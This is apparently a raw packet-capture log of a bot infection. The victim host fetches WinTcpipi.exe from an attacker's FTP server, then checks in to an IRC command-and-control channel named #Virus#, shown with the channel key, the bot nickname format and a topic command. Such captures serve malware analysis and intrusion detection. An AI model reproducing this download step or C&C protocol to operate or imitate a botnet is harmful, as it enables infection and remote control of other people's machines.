ATTACKER:	220 StnyFtpd 0wns j0 
VICTIM:  	USER 1 
ATTACKER:	331 Password required 
VICTIM:  	PASS 1 
ATTACKER:	230 User logged in. 
VICTIM:  	PORT 192,168,1,108,4 
ATTACKER:	200 PORT command successful. 
ATTACKER:	RETR WinTcpipi.exe 
ATTACKER:	150 Opening BINARY mode data connection 
ATTACKER:	226 Transfer complete. 
VICTIM:  	QUIT 
ATTACKER:	221 Goodbye happy r00ting. 
VICTIM:  	PASS scorti1 
VICTIM:  	NICK USA|2K|SP2|00|21483672USER kwffwzhag 0 0 :USA|2K|SP2|00|21483672 
ATTACKER:	:C31568-39877 001 USA|2K|SP2|00|21483672 :Welcome to the Microsoft Exchange Chat Service server USA|2K|SP2|00|21483672:C31568-39877 002 USA|2K|SP2|00|21483672 :Your host is C31568-39877, running version 5.5.2653:C31568-39877 003 USA|2K|SP2|00|21483672 :This server was created Sep  9 2000 at 01:20:51 PDT:C31568-39877 004 USA|2K|SP2|00|21483672 C31568-39877 5.5.2653 aioxz abcdefhiklmnoprstuvxyz:C31568-39877 251 USA|2K|SP2|00|21483672 :There are 4958 users and 3264 invisible on 1 servers:C31568-39877 252 USA|2K|SP2|00|21483672 1 :operator(s) online:C31568-39877 253 USA|2K|SP2|00|21483672 190 :unknown connection(s):C31568-39877 254 USA|2K|SP2|00|21483672 12 :channels formed:C31568-39877 255 USA|2K|SP2|00|21483672 :I have 4958 clients and 0 servers:C31568-39877 265 USA|2K|SP2|00|21483672 :Current local users: 4958 Max: 7084:C31568-39877 266 USA|2K|SP2|00|21483672 :Current global users: 4958 Max: 7084 
VICTIM:  	USERHOST USA|2K|SP2|00|21483672 
ATTACKER:	:C31568-39877 422 USA|2K|SP2|00|21483672 :MOTD File is missing 
VICTIM:  	MODE USA|2K|SP2|00|21483672 -x+iJOIN #Virus# ss88ss. 
ATTACKER:	:C31568-39877 302 USA|2K|SP2|00|21483672 :USA|2K|SP2|00|21483672=+~kwffwzhag@192.168.1.108 
ATTACKER:	:C31568-39877 501 USA|2K|SP2|00|21483672 :Unknown MODE flag:USA|2K|SP2|00|21483672 MODE USA|2K|SP2|00|21483672 :+i:USA|2K|SP2|00|21483672!~kwffwzhag@192.168.1.108 JOIN :#Virus#:C31568-39877 332 USA|2K|SP2|00|21483672 #Virus# :.ABOSAL7 -s:C31568-39877 353 USA|2K|SP2|00|21483672 @ #Virus# :USA|2K|SP2|00|21483672:C31568-39877 366 USA|2K|SP2|00|21483672 #Virus# :End of /NAMES list. 
ATTACKER:	PING :C31568-39877 
ATTACKER:	PONG :C31568-39877 
ATTACKER:	PING :C31568-39877 
ATTACKER:	PONG :C31568-39877 
ATTACKER:	PING :C31568-39877 
ATTACKER:	PONG :C31568-39877